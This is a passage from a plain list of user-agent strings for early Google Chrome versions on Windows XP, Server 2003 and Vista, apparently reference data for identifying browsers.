Gecko) Chrome/2.0.157.0 Safari/528.11 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.4 (KHTML, like Gecko) Chrome/0.3.155.0 Safari/528.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.0 Version/3.2.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.170.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.42 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.8 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.0 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.178.0 Safari/530.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML,like Gecko) Chrome/3.0.195.27 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.201.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.288.1 Safari/532.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.356.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.357.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.8 (KHTML, like Gecko) Chrome/6.0.397.0 Safari/533.8 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (Windows U Windows NT 5.1 en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.583.0 Safari/534.12 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.602.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.53 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; eu) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.46 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.160.0 Safari/530.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.162.0 Safari/530.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.0 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) 